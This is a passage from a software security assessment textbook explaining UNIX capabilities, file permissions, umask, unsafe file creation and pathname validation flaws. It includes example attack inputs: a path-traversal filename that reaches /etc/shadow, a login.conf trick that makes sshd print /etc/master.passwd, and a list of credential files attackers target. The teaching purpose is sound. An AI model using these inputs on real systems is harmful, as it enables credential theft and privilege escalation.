addressing the basic UNIX privilege shortcomings by implementing a technology known as capabilities. This model The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 511 defines a set of administrative tasks (capabilities) that can be granted to or restricted from a process running with elevated privileges. Some of the defined capabilities include the following:  CAP_CHOWN Provides the capability to change the ownership of a file.  CAP_SETUID/CAP_SETGID Provides the capability to manipulate a user and group privileges of a process by using the set*id() functions discussed previously.  CAP_NET_RAW Provides the capability to use raw sockets.  CAP_NET_BIND_SERVICE Provides the capability to bind to a "privileged" UDP or TCP port (that is, one lower than 1024).  CAP_SYS_MODULE Provides the capability to load and unload kernel modules. Being able to grant and omit certain capabilities from applications makes it possible to create processes that have one special system capability without putting the entire system at risk if it's compromised. The ping program is a perfect example. Instead of having it run with full permissions to create a raw socket, it could be granted the CAP_NET_RAW privilege. If the program is compromised, attackers can create raw sockets (which is still a breach), but can't automatically load kernel modules or mount new file systems, for example. Capabilities are applied to running processes but can also be applied to files on disk to enforce restrictions or grant special privileges when a certain binary is run (much like the setuid/setgid bits associated with a file). A process has three bitmasks of capabilities:  Permitted set The set of capabilities the process can enable.  Effective set The set of capabilities that has been enabled already (the set that's consulted when performing a privileged operation).  Inheritable set The set of capabilities that a new process can inherit when the current process creates one. Although the effective set ultimately governs what a process can do, the other two sets are equally important. To see why, imagine that the ping program has only the CAP_NET_RAW capability in its effective set, but its permitted set includes a series of other random capabilities, such as CAP_SYS_MODULE. In this case, if users did compromise the ping program, they could enable the CAP_SYS_MODULE capability (thus adding it to the effective set) by using the sys_capset() system call and load kernel modules as a result. File capabilities are similar, except they're associated with a file. A file has three capability sets also, but these sets differ slightly: The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 512  Allowed set The set of capabilities that are allowed to be added to the process capability sets when the executable runs. (Capabilities apply only to executables.)  Forced set A set of capabilities that are granted in addition to those users might already have. This set allows a certain application to be given special privileges whenever it runs (like setuid/setgid bits on a file, but more refined).  Effective set This set isn't really a set, but a bit indicating whether capabilities in the permitted set should automatically be transferred to the effective set when a new process image is loaded. Capabilities Implementation Vulnerability In early incarnations of the Linux capabilities solution (Linux kernel 2.2.15), Wojciech Purczynski discovered an interesting logic error. Specifically, users were able to restrict their privileges to their eventual advantage. By removing the CAP_SETUID privilege from the inheritable and permitted privilege sets and then running a setuid root application, the application would run with root privileges but wasn't permitted to drop privileges if necessary. Therefore, a call to setuid(getuid()) would fail, and the application would continue to run in an elevated privilege context. An exploit was constructed that targeted Sendmail 8.10.1. You can read more details about this vulnerability at www.securityfocus.com/bid/1322/discuss. 7.5.5 File Security Every file on a UNIX system has a set of attributes stored in the file system alongside the file's content. These attributes describe properties of the file, such as file size, file owner, security permissions, and access and modification timestamps. When a process attempts to act on a file, the kernel consults these file attributes to determine whether the process is permitted to proceed. The following sections describe these file attributes and explain how the kernel uses them to make access control decisions, and what kind of mistakes might be made in applications that interact with the file system. File IDs As mentioned previously, every file in a UNIX system has an owner, who is a system user with responsibility for the file and extended control over it. Every file also belongs to a single group on the system so that the members of that group can be granted certain privileges on the file. Files have two integer attributes representing this ownership information: owner ID and group ID. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 513 The kernel sets the file's owner and group when the file is first created. The owner is always set to the effective user ID of the process that created the file. The initial group membership is a little trickier, as there are two common schemes by which the group ID can be initialized. BSD-based systems tend to set the initial group ID to the group ID of the file's parent directory. The System V and Linux approach is to set the group ID to the effective group ID of the creating process. On systems that favor effective group IDs, you can usually use the BSD-style directory inheritance approach for whole file systems via mount options or for specific directories by using special permission flags. File IDs can be changed after file creation by using the system calls chown(), lchown(), and fchown(), which permit the caller to specify a new owner ID and a new group ID. On BSD and Linux systems, only the superuser can change a file's owner. However, System V systems have historically allowed file owners to give away ownership to another user. This option is configurable system-wide in most System V derivatives, and it's disabled by default in Solaris. On most systems, the superuser and file owner can change group memberships. File owners can change a file's group only to a group of which they are a member. Again, System V derivatives, excluding Solaris, tend to allow arbitrary group changes by the file owner, but overall, this behavior is uncommon. File Permissions File permissions are represented by a small, fixed-width set of bits stored as a file attribute on the file system. Figure 9-1 shows the permission bitmask. It's divided into four components, each composed of three bits. Because each section is a 3-bit value with a possible range of 0 to 7, octal notation lends itself quite naturally to describing file permissions. Figure 9-1. Permission bitmasks The four components of the permission bitmask are owner permissions, group permissions, other permissions, and a set of special flags. The owner permissions apply to only one user: the owner of the file. The group permissions apply to members The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 514 of the file's group, but they don't apply to the file's owner if he or she is a member of that group. The "other" permissions (sometimes known as "world permissions") apply to any other user on the system. The special component of the bitmask is a little different; it doesn't contain permissions that apply to a particular set of users; instead, it has flags indicating special file properties the kernel will honor. These special bits are discussed in more detail momentarily. Each component has three bits. For the owner, group, and other components, the three bits indicate read, write, and execute permissions. These three bits are interpreted in different ways depending on the type of the file. For a normal file, the read permission generally refers to the user's ability to open the file for reading with the open() system call. The write permission refers to the user's ability to open a file for writing with the open() system call. The execute permission refers to the user's ability to run a file as a program with the execve() system call. If a permission bit is set, it indicates that the associated privilege is granted to the associated set of users. So a file with a permission bit-string of octal 0645 (binary 000 110 100 101) indicates that none of the special bits are set, the file owner has read and write permission, members of the file's group have read permission, and everyone else on the system has read and execute permission. The kernel looks only at the most specific set of permissions relevant to a given user. This can lead to confusing situations, such as a member of the file's group being forbidden from performing an action that everyone else on the system is permitted to do or the file owner being forbidden to do something that other system users are allowed to do. For example, a file with a permission string of octal 0606 (binary 000 110 000 110) specifies that the file owner and everyone else on the system have read and write access to the file, except members of the file's group, who have no access to the file. Auditing Tip It's a common misunderstanding to think that the less specific permission bits are consulted if the more specific permissions prevent an action. The three special permission bits are the setuid bit, the setgid bit, and the sticky (or tacky) bit. If the setuid bit is set on an executable file, the program runs with the privileges of the file's owner, which means the effective user ID and saved set-user-ID of the new process are set to the file's owner ID. The setgid bit is similar: A program with the setgid bit set runs with the effective group privileges of the file's group. This means the effective group ID and saved set-group-ID of the process are set to the file's group ID. The sticky bit isn't widely used or supported for normal files, The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 515 but it usually indicates that the file is heavily used and the system should act accordingly, which might entail keeping it resident in memory for longer periods. File permissions can be changed on an existing file by using the chmod() system call, which takes a filename, or the fchmod() system call, which operates on a file the process has already opened. The only two users who can change permissions on a file are the file owner and the superuser. Umask Each process has a umask, which is a 9-bit mask used when creating files. Most file creation system calls take a mode parameter; users set this parameter to specify the 12-bit permission string they want the file to have when it's created. The kernel takes these mode permissions and uses the umask value to further restrict which privilege bits are set. So if a process tries to create a file with read and write access for all users, but the umask prohibits it, the file is created without the access bits. To calculate the initial permission bits for a new file, the permission argument of the file creation system call is calculated with a bitwise AND operation with the complement of the umask value. This process is shown in Figure 9-2. The process has a umask value of 022, which tells the kernel to turn off group write and world write permissions on any file this process creates. With the 022 umask, an open() call with a permission argument of octal 0777 results in a file being created with permissions of octal 0755. Figure 9-2. Permission bitmasks and umask The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 516 A process may manually set its umask with the umask() system function. It has the following prototype: mode_t umask(mode_t mask); The umask() function will set the process umask to the 9-bit permissions string indicated by mask. This function always succeeds. A process's umask is inherited when a new program is run. You will learn more about attribute inheritance in Chapter 10(? [????.]), "UNIX II: Processes." If a process doesn't manually set its umask, it will likely inherit a default umask (022 in most cases). Directory Permissions As mentioned, directories are a special type of file for containing other files. They have a set of permissions like any file on the file system, but the kernel interprets the permission flags a little differently. If users have read permissions to a directory, they can view the list of files the directory contains. To do this, they open the directory with the open() system call, and then use a special system call to read the directory entries, such as geTDents(), readdir(), or getdirentries(). The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 517 If users have write permissions to a directory, they are allowed to alter the directory's contents. This means users can create new files in the directory through several system calls, such as creat(), open(), and mkdir(). Write permissions allow users to delete files in a directory by using unlink() or rmdir() and rename files in a directory by using the rename() system call. Note that the actual permissions and ownership of the files being deleted or renamed don't matter; it's the directory file that is being altered. Execute permissions, also called search permissions, allow users to enter the directory and access files in it. Basically, you need search permissions to enter a directory and access the files it contains. If you don't have search permissions, you can't access any files in the directory; consequently, any subdirectories of that directory are also closed to you. You need search permissions on a directory to enter it with the chdir() system call. Generally, if you have write permissions on a directory, you also need search permissions on it to be able to do anything. Read permissions, however, work without search permissions. The setuid bit typically has no meaning for directories on modern UNIX systems. The setgid bit is used on some Linux and System V systems to indicate that a directory has BSD semantics. For these systems, if a directory is marked with the setgid bit, any file created in that directory automatically inherits the directory's group ID. Any directory created in one of these special setgid directories is also marked setgid. If the sticky bit is set on a directory, the directory effectively becomes "append-only." If users have write permissions on a directory, they can rename and delete files in the directory at will, regardless of the actual file's permissions and ownership. A sticky directory, however, lets users delete and rename only files they own. This permission bit is used to implement public temporary directories, such as /tmp. Because /tmp is sticky, if one user creates a temporary file in there, another random user can't come along and rename or delete it. Directory permissions are initially set just as normal file permissions are. The mkdir() system call takes the mode argument into account and further restricts permissions based on the process's current umask. Directory permissions are changed by using the same API calls used for file permissions. Privilege Management with File Operations A process can attempt numerous actions that cause the kernel to perform a security check. Generally, creating or opening a file is subject to an access control check as well as operations that alter the directory a file resides in and operations that change file attributes. File opening is typically done with the open(), creat(), mknod(), mkdir(), or socket() system calls; a file's directory is altered with calls such as unlink() and rename(); and file attributes are changed with calls such as chmod(), chown(), or utimes(). All these privilege checks consider a file's permission bitmask, ownership, The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 518 and group membership along with the effective user ID, effective group ID, and supplemental groups of the process attempting the action. The effective permissions of a process are critical for file system interaction because they determine which actions the kernel allows on certain files and affect the initial ownership and group membership of any files or directories created by the process. You've already seen how UNIX processes manage their privileges and the pitfalls these programs can encounter. Naturally, applications running with privilege have to be extremely careful about how they interact with the file system. Privilege Recklessness The most straightforward type of file system interaction vulnerability is one that's already been discusseda privileged process that simply doesn't take any precautions before interacting with the file system. This recklessness usually has serious consequences, such as allowing unprivileged users to read or modify critical system files. You saw an example of this in Listing 9-1(? [????.]), which was a vulnerability in the XFree86 server. Libraries Sometimes a program is diligent about managing its elevated privileges but can run into trouble when it relies on third-party libraries to achieve some desired functionality. Shared libraries can often be the source of potential vulnerabilities, since users of the library don't know how the library functions internally; they only know the API that the library exports. Therefore, it is quite dangerous for libraries to access file system resources haphazardly, because if the library is used in a privileged application, the library functionality could be used as a vehicle for privilege escalation. If developers aren't made aware of the potential side effects of using a particular library, they might inadvertently introduce a vulnerability into an otherwise secure application. As an example, consider the bug related to the login class capability database in FreeBSD that Przemyslaw Frasunek discovered (documented at www.osvdb.org/displayvuln.php?osvdb_id=). This researcher noted that both the portable OpenSSH program and the login program call various functions in libutil to read entries from the login capabilities database before they drop privileges. This behavior is dangerous because if libutil is called in a certain way, it looks in a user's home directory for a .login.conf file, which contains user-specific login capability database entries. This code is encapsulated in the libutil library, so the problem wasn't immediately obvious. Here's one of the vulnerable code excerpts from OpenSSH: if (newcommand == NULL && !quiet_login && !options.use_login) { The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 519 fname = login_getcapstr(lc, "copyright", NULL, NULL); if (fname != NULL && (f = fopen(fname, "r")) != NULL) { while (fgets(buf, sizeof(buf), f) != NULL) fputs(buf, stdout); fclose(f); The intent of this code is to print a copyright message defined by the system when users log in. The name of the copyright file, if one is defined, is obtained by calling login_getcapstr(). The login_getcapstr() function, defined in libutil, pulls an entry from the login capabilities database by using the libc function cgetstr(). The database it uses is referenced in the lc argument set by a previous call to login_getpwclass(), which essentially looks in a user's home directory for the user-specific class file. Say a user creates a ~/login.conf file containing these lines: default:\ :copyright= If the user logs in to the system, the preceding OpenSSH code returns /etc/master.passwd as the copyright string, and the ssh daemon proceeds to open the password file as root and print its contents. File Creation Applications that create new files and directories in the file system need to be careful to select appropriate initial permissions and file ownership. Even if the process is working within a fairly safe part of the file system, it can get into trouble by leaving newly created files and directories exposed to attackers. The UNIX open() interface The primary interface on a UNIX system for creating and opening files is the open() system call. The open() function has the following semantics: int open(char *pathname, int flags, mode_t mask); As you can see, open () has three parameters. The pathname and mask parameters specify the name of the file to create or open and the 12-bit permission mask to apply to the file if one is being created. (If a file is being opened rather than created, the The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 520 permissions mask is ignored.) The flags parameter specifies how open() should behave. This parameter is composed of 0 or more special flag values that are OR'd together to create a bitmask. You will be introduced to these flags throughout the rest of this chapter. Permissions When reviewing a UNIX application, you should ensure that reasonable permission bits are initially chosen when a file or directory is created. If the file is created with open(), creat(), or a special function such as mknod(), programmers will likely specify an explicit file creation mode, which should be easy to spot-check. Keep in mind that the creation mode specified will silently be combined with the process's umask value which was discussed previously. Although the functions mentioned here use explicit file creation modes, you will see later on in "The Stdio File Interface(? [????.])" that the standard C libraries provide file I/O APIs that implicitly determine permissionsa much more dangerous programming model. Forgetting O_EXCL Creating a new file is easy to get wrong. Often when a developer writes code that is intended to open a file, the same code can inadvertently open an existing file. This kind of attack is possible because the open() function is responsible for both creating new files and opening existing ones. It will do one or the other depending on which flags are present in the flags parameter. The O_CREAT flag indicates that open() should create a new file if the requested file name doesn't already exist. Therefore, any invocation of open() that has the O_CREAT flag passed to it will potentially create a new file, but also might just open an existing one if it is already there (and the calling program has sufficient access to open it). When the O_EXCL flag is used in conjunction with O_CREAT, the open() function will exclusively create a new file. If the specified file name already exists, the open() function will fail. So, if open() is called with O_CREAT but not O_EXCL, the system might open an existing file instead of creating a new one. To see how this might be a problem, consider the following example: if ((fd=open("/tmp/tmpfile.out", O_RDWR|O_CREAT, 0600)) < 0) die("open"); ... The code presented in the example creates a temporary file named /tmp/tmpfile.out. However, because the O_EXCL flag isn't specified, it is also possible that this code opens a pre-existing file if /tmp/tmpfile.out already exists. You see in "Race The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 521 Conditions(? [????.])" later on in this chapter that attackers can use file sym-links to exploit a problem like this to force an application to open sensitive system files. Also keep in mind that if a file is opened rather than created, the permissions mask passed to open() is completely ignored. Returning to the previous code snippet, if an application created the file /tmp/tmpfile.out with restrictive permissions as shown because it was going to store sensitive data in the file, any user could access that data by creating a file of the same name first. Unprivileged Owner Applications that run with special privileges often relinquish some or all of their privileges when performing potentially dangerous operations, such as creating or opening files. In general, this approach is reasonable, but there are definitely some pitfalls to watch out for. If the process creates a file or directory, it's created as the lesser privileged user. If it's a setuid root program, and the attacker is the lesser privileged user, this can have some serious consequences. Remember that if you own a file, you can change its group ownership and permission bitmask. Because you control the permissions, you can read, write, and truncate the file at will. Consider this code: drop_privs(); if ((fd=open("/usr/safe/account3/resultfile", O_RDWR | O_CREAT, 0600))<0) die("open"); regain_privs(); ... This code is simple, but it shows what a file creation might look like in a privilege-savvy setuid program. There may or may not be a security issue with this program; it depends on what the program does with the file later. As it's written, if the file isn't already on the file system, it's created by the call to open(). It would be owned by the attacker, who could then manipulate the file's contents and permissions at will. These actions could include changing file contents out from under the program as it worked with the file, changing permissions to prevent the program from reopening the file later, or just reading the content in the file. Directory Safety The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 522 As discussed, a process that creates files needs to make sure it chooses an appropriate set of permissions and an appropriate owner and group for the file. This is not an application's only concern, as directories containing the file are also key to the file's overall security. If the new files are created in a directory that's writeable by an unprivileged user, the program needs to be capable of dealing with attackers doing things such as deleting files it creates, creating files with names that conflict with names the program is using, and renaming files after the program creates them. You see some examples of these attacks in "Links(? [????.])" and "Race Conditions(? [????.])" later in this chapter. If the directory is writeable by an attacker but is a sticky directory, the program is still in dangerous territory, but it doesn't need to worry about attackers renaming or deleting its files after it successfully creates them. However, it can run into plenty of trouble when creating these files, which you'll also see in "Race Conditions(? [????.])" later in this chapter. If the containing directory is actually owned by the attacker, the program has a different, yet equally serious, set of problems to worry about. An attacker who owns the directory can change the file permissions and group ownership of the directory to lock the process out or prevent it from doing certain actions at certain times. Parent Directories For a file to be safe, it isn't enough for it to be created securely and be in a secure directory. Every directory referenced in the filename has to be equally safe. For example, say a program works with a file in this location: /tmp/mydir/safedir/safefile. If safedir and safefile are secure and impervious to attack, but unprivileged users have ownership or write access to mydir, they can simply rename or remove the safedir enTRy and provide their own version of safedir and safefile. If the program uses this pathname later, it refers to a completely different file. This is why it's important for every directory to be secure, starting at the file's parent directory and going all the way up to the root directory. Filenames and Paths You already know about pathnames, but in this section you revisit them, focusing on security-relevant details. A pathname is a sequence of one or more directory components separated by the directory separator character, /. The pathname, like any other C string, is terminated with the NUL character (\x00). A pathname tells the kernel how to follow a path from a known directory location to a file or directory by traversing through the directory tree. For example, a pathname of /home/jm/test tells the kernel it should start at the root directory (/), then go to the home directory, then go to the jm directory, and then open the test file. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 523 The terminology for files and paths isn't set in stone. Some sources separate a pathname into two parts: a path and a filename. In this context, the path is every directory component in the pathname except the last one, and it tells the kernel how to get to the directory containing the requested file. The filename is the last directory component, which is the name of the file in that directory. So the file referenced by the /home/jm/test pathname has a path of /home/jm/ and a filename of test. In practice, however, most people use the terms "pathname" and "filename" interchangeably. Usually, the term "path" indicates the directory containing a file, but it's also used when talking about any pathname that refers to a directory. There are two kinds of paths: absolute and relative. Absolute paths always start with the / character, and they describe how to get from the root directory, which has the name /, to another file or directory on the file system. Relative paths start with any character other than / or NUL, and they tell the kernel how to get from the process's current working directory to the target. Every directory has two special entries: the . enTRy, which refers to the directory itself, and the .. enTRy, which points to its parent directory. The root directory, which has a name of /, has a special .. entry that points back to itself. Files can't contain the / character in their names, nor can they contain the NUL character, but every other character is permitted. More than one slash character in a row in a pathname is treated as just one slash, so the path /////usr////bin//// is the same as /usr/bin. If the pathname refers to a directory, generally it can have any number of trailing slashes because they're effectively ignored. Say you have the pathname /usr/bin/find. Because it begins with a /, you know that it's an absolute path that tells the kernel how to get to the find program from the root directory. /./////././usr/bin/../share/../bin/find is also an absolute path that references the same file, although it does so in a more circuitous fashion. If the currently running process has its current working directory set to the /usr/bin directory, perhaps as a result of using chdir("/usr/bin"), the relative pathname find references the program, as does ./find or ../../../../../../usr/bin/find. It might seem strange, but every time you use a system call that takes a pathname, the kernel goes through the process of stepping through each directory to locate the file. For the kernel to follow a path, you must have search permissions on every directory in that path. A lot of caching goes on to avoid a performance hit, but it's worth keeping that behavior in mind when you look at some of the attack vectors later in this section. Pathname Tricks Many privileged applications construct pathnames dynamically, often incorporating user-malleable data. These applications often do sanity checking on constructed filenames to ensure that they're in a safe location or don't contain any malicious The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 524 components. For example, imagine you have a privileged program that can be used to parse special data files, but these data files can be located in only two directories. The program contains the following code: if (!strncmp(filename, "/usr/lib/safefiles/", 19)) { debug("data file is in /usr/lib/safefiles/"); process_libfile(filename, NEW_FORMAT); } else if (!strncmp(filename, "/usr/lib/oldfiles/", 18)) { debug("data file is in /usr/lib/oldfiles/"); process_libfile(filename, OLD_FORMAT); } else { debug("invalid data file location"); app_abort(); } Suppose this program takes the filename argument from users. The code tries to ensure that the pathname points to a safe location by checking the filename's prefix to make sure it points to an appropriate directory in /usr/lib, for which users shouldn't have write access. Users could potentially bypass these checks by providing a filename such as the following: /usr/lib/safefiles/../../../../../../../../etc/shadow This filename would pass the filename check, yet still make the privileged application open the shadow password file as its data file, which is likely to have exploitable consequences. An old Linux version of tftpd had a vulnerability of this nature that a researcher named Alex Belits discovered. The following code from tftpd is supposed to validate a filename (taken from his original bugtraq post, archived at http://insecure.org/sploits/linux.tftpd.dotdotbug.html): syslog(LOG_ERR, "tftpd: trying to get file: %s\n", filename); if (*filename != '/') { syslog(LOG_ERR, The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 525 "tftpd: serving file from %s\n", dirs[0]); chdir(dirs[0]); } else { for (dirp = dirs; *dirp; dirp++) if (strncmp(filename, *dirp, strlen(*dirp)) == 0) break; if (*dirp==0 && dirp!=dirs) return (EACCESS); } /* * prevent tricksters from getting around the directory restrictions */ for (cp = filename + 1; *cp; cp++) if(*cp == '.' && strncmp(cp-1, "/../", 4) == 0) return(EACCESS); If the filename's first character is a slash, tftpd assumes the directory is an absolute path and checks to make sure the initial directory matches up with one it knows about. If the filename's first character isn't a slash, ttfpd assumes it's a relative pathname, referring to a file in the first predefined directory. The code then checks that the filename doesn't contain any /../ sequences; if it does, the filename is rejected as being an attack attempt. The problem is that if the filename starts with the characters ../, it isn't caught by the check, and remote users can retrieve arbitrary files from the system by recursing out of the tftp directory, which is usually /tftpd. Embedded NUL The NUL character terminates a pathname, as a pathname is just a C string. When higher-level languages interact with the file system, however, they mostly use counted strings and don't use a NUL character to indicate string termination. Java, PHP, Visual Basic, and Perl programs can often be manipulated by passing filenames containing embedded NUL characters. The programming language views these characters as part of the pathname, but the underlying OS views them as a terminator. You delve into this pathname-related issue in Chapter 8(? [????.]), "Strings and Metacharacters." Dangerous Places The file system of a multiuser UNIX machine is much like a modern metropolis; most neighborhoods are safe, assuming you don't do anything stupid, but in a few parts of town, even the police warn you not to stop at traffic lights. On a UNIX machine, the The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 526 "safe neighborhoods" are like gated communities: directories and files that only you and your trusted friends have control over. "Doing something stupid" would include creating new files and directories with insufficient permissions, the digital equivalent of not locking your doors. It would also include asking potentially malicious users for input on which files to process, which is akin to asking a thief to help you find a good place to hide your money. The dangerous parts of town would correspond to public directories that can be a bit scary on large multiuser boxes, such as /tmp, /var/tmp/, and the mail spool directory. In general, an application can be fairly insulated from file-related vulnerabilities if it stays within the safer parts of the file system. For example, if a program interacts with the file system just to read static files owned by privileged users, such as configuration files in /etc, it's likely to be immune to tampering from malicious third parties. If an application has to do more involved file system interaction, but it works with files in a safe location and makes sure to create and manipulate new files and directories safely, it's still likely to be safe. Any time a program has to go beyond these simple use cases, it runs into potential problems with malicious third parties manipulating the file system out from under it. From this perspective, potentially vulnerable programs are those that have to interact with files and directories in hostile locations on the file system. A hostile location is a place where other users and programs can interfere with, manipulate, interrupt, or hijack the use of files. The following locations are potentially hostile:  User-supplied locations Any time a file or directory name is constructed based on user input, a potential risk emerges. Any daemon or setuid application that takes a filename as input from a user of lesser privilege or a network connection has to be cautious in how it makes use of that filename. Users could easily point a process to a place in the file system where they have total control, and then pull off some subtle manipulation of files behind the program's back.  New files and directories A privileged process can work in a totally safe and protected location in the file system, but if it creates a new file or directory with overly lenient permissions, attackers might be able to manipulate it surreptitiously.  Temporary and public directories Many applications make use of temporary files in public directories, and if they are used improperly, the applications are exposed to various attacks. Daemons and setuid applications are certainly susceptible to these problems, but unprivileged applications can also run into trouble. If a program running as a unprivileged user can be tricked into exposing that user's files or privileges to other users on the system, it can result in a serious vulnerability.  Files controlled by other users Some setuid applications work with files controlled by the unprivileged user who called the program, such as a configuration file in the user's home directory. Many daemons make similar The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 527 use of other users' files, and some daemons even traverse portions of the file system periodically to perform maintenance tasks. Privileged programs have to be careful about how they interact with these user-controlled files. Interesting Files A typical UNIX system has several files and directories that are interesting to code auditors because they contain secret information or configuration or control data for privileged programs, encapsulate hardware or kernel objects, or have behaviors or attributes that could be leveraged in an attack. When you're auditing code, having a general knowledge of what exists on a typical UNIX system is useful because this information can help you brainstorm potential attacks. The files covered in the following section are by no means an exhaustive list of potentially risky files, but they address some of the more interesting places in the file system. System Configuration Files Configuration files in /etc/ are generally a good target for attackers. Certain daemons, such as radius, OpenSSH, VPN daemons, and ntpd, might use shared secrets or private keys to encrypt network communication. Attackers who can read the configuration files containing these secrets might be able to launch an attack against the service or its clients. In general, being able to write to configuration files often leads to security exposures, and being able to corrupt or delete them often disables a system. The following list describes some commonly targeted files and explains the advantages attackers might gain from accessing them:  Authentication databases (/etc/passwd, /etc/shadow, /etc/master.passwd, /tcb/) The shadow password file on a UNIX system typically contains a hashed form of passwords for each user. An unprivileged program being able to read the shadow password information can often lead to further compromise. Weakly constructed passwords can be discovered through a dictionary attack with the use of a password-cracking program, such as Solar Designer's John the Ripper tool (www.openwall.com). Unpassworded accounts stick out in the shadow file because they are missing a hash. A program that can write to these files can typically grant itself root access. Manipulating or corrupting these files usually disables a machine until an administrator re-creates them.  Host equivalency (/etc/hosts.equiv, .rhosts, .shosts) These files indicate which hosts and users can log in to the machine without authenticationthat is, which hosts and users are considered to be trusted. Trust relationships are sometimes found in internal networks because they make administration and scripted tasks simpler. Note that ssh daemons honor these trust configurations if they are configured to do so. Attackers who discover these trust relationships can attempt to access trusted machines or even launch a The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 528 network-level attack via IP spoofing (masquerading as being from a trusted IP address). Attacker who can write to these files can often gain root access by forcing the machine to trust them.  /etc/ld.preload.so If attackers can write to certain shared libraries, they can potentially insert code that multiple programs on the machine run.  /etc/nologin, /etc/hosts.allow Creating these files can effectively disable a system. Personal User Files Personal user files might also be of interest to attackers, because there are not only sensitive files in a typical user's directory, but also configuration files that are used by various applications on the system. This list is a brief summary of some interesting personal user files:  Shell histories (.sh_history, .ksh_history, .bash_history, .history) Shell histories are files containing a log of each command users enter in their command shells. Attackers could use these files to observe the behavior of other users in an attempt to discover potential attack targets on the system or discover other systems users commonly log into.  Shell login and logout scripts (.profile, .bashrc, cshrc, .login) These files run automatically when users log in or out. Attackers might be able to use these files to find potential attack targets on the system, such as programs with temporary file race conditions that are run by root at login. Of course, the ability to write to these files would represent an imminent threat, because the attacker could add arbitrary commands to the file that will be executed when the user next logs in.  Mail spools Mail for system users is another target that could prove quite useful to attackers, as users often have sensitive and confidential information in their e-mail, and administrators discuss security issues, such as account credentials and existing vulnerabilities. The mail spool directory is often a mode 777 sticky directory, which is susceptible to manipulation by unprivileged attackers. Program Configuration Files and Data Program-specific configuration files and data can also be useful to attackers. Reading configuration files might enable them to find weaknesses or sensitive information that can be used to achieve a higher level of compromise. Modifying file data usually has more immediate and drastic consequences, such as gaining privileges of the application using the configuration file. The following list describes some configuration and data files that would be of interest to an attacker:  Web-related files Web applications typically have static configuration files with database credentials inline. Any authentication mechanism that's local to the The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 529 Web server might use static files with password information, such as Apache's .htpasswd file. Furthermore, because Web applications are often written in scripting languages, the source code might be valuable to attackers. Because the source gives them a detailed understanding of how the Web application works, they could use it to attempt to find a vulnerability in a Web service. Web applications are discussed in Chapters 17(? [????.]), "Web Applications," and 18(? [????.]), "Web Technologies."  SSH configuration files The secure shell (SSH) program contains configuration files and parameters that can be used to compromise other users' accounts if they can be read and modified. As noted previously, placing an .shosts file in a user's directory allows you to log in as them without any credentials (if rhosts configuration options are enabled in the SSH server). Being able to read and modify sensitive key files can similarly lead to account compromises.  Temporary files Temporary files are usually stored in a public directory such as /var/tmp or /tmp, which is usually a sticky directory that's mode 777. Log Files Logs sometimes contain sensitive information, such as users' passwords if they mistakenly enter them at a username prompt. Editing logs allows attackers to cover up evidence of any attack behavior. Log files are often in subdirectories of /var, such as /var/log. Program Files and Libraries Being able to write over a program file or library can almost certainly lead to a privilege escalation. For example, in a BSD system, the pwdb_mkdb program runs as root when users modify their account information entry in the password file. Users who can overwrite this binary could run arbitrary code in the context of the root user. Similarly, if attackers can write over shared libraries, they can potentially insert code that's run by multiple programs across the machine. Kernel and Boot Files If attackers can write to the kernel file or files used in the booting process, they can potentially insert or modify code that's used the next time the machine is rebooted. Device Files As mentioned, device files look just like regular files available to users on the file system, except they access devices rather than regular files. The device files present on a UNIX system vary widely depending on the UNIX variant, but some common ones are listed here: The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 530  Virtual device drivers Denial-of-service conditions can often be caused by forcing a program to read a file of infinite size or a file that causes constant blocking. On UNIX systems, files such as /dev/zero, /dev/random, and /dev/urandom can be used to generate endless amounts of data, which can keep a process tied up parsing meaningless information or blocking.  Raw memory devices Some systems contain raw memory devices that allow reading and writing directly to memory. Usually, a system contains a /dev/mem file, which provides access to physical memory available on the system. Being able to write to this file would result in a kernel-level compromise. Other memory files, such as /dev/kmem, also allow writing to virtual memory locations in the kernel.  Hardware device drivers Hardware devices often have corresponding device files used to access the device in question. For example, a printer device might be accessible via /dev/lpX. Accessing hardware devices when a program intends to manipulate regular files usually results in the application ceasing to function correctly.  Terminal devices Users interact with the shell through the use of terminal devices (or pseudo-terminal devices). They are usually named /dev/ttyX, /dev/ptyX, or something similar. Gaining access to these devices might allow attackers to read data from other users' sessions or insert keystrokes in their session, thus assuming their privileges. Named Pipes Providing named pipes instead of regular files could be of interest to attackers, particularly for timing-based attacks (discussed in the IPC section in Chapter 10(? [????.]), "UNIX II: Processes"). In addition, if an application opens a named pipe, it allows the owner of the pipe to deliver the SIGPIPE signal, which could be used to perform a signal-based attack. Signals are covered in depth in Chapter 13(? [????.]). The Proc File System Some UNIX OSs provide other interesting files in /proc that could be leveraged for file-based attacks. For example, a daemon running as an unprivileged user has permissions to read its own /proc/pid/mem filea virtual file that can be used to read and write to the current process's memory. If the daemon is tricked into reading this file and outputting the results, it could leak sensitive information to users. Another useful file in the proc file system is the kcore file, which could be used to read sensitive data in kernel memory. 7.5.6 File Internals The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 531 When you're studying complex file vulnerabilities, such as race conditions and linking attacks, having a basic grasp of UNIX file internals is useful. Naturally, UNIX implementations differ quite a bit under the hood, but this explanation takes a general approach that should encompass the major features of all implementations. This discussion doesn't line up 100% with a particular UNIX implementation, but it should cover the concepts that are useful for analyzing file system code. File Descriptors UNIX provides a consistent, file-based interface that processes can use to work with a fairly disparate set of system resources. These resources include files, hardware devices, special virtual devices, network sockets, and IPC mechanisms. The uniformity of this file-based interface and the means by which it's supported in the kernel provide a flexible and interoperable system. For example, the code used to talk with a peer over a named pipe could be used to interact with a network socket or interact with a program file, and 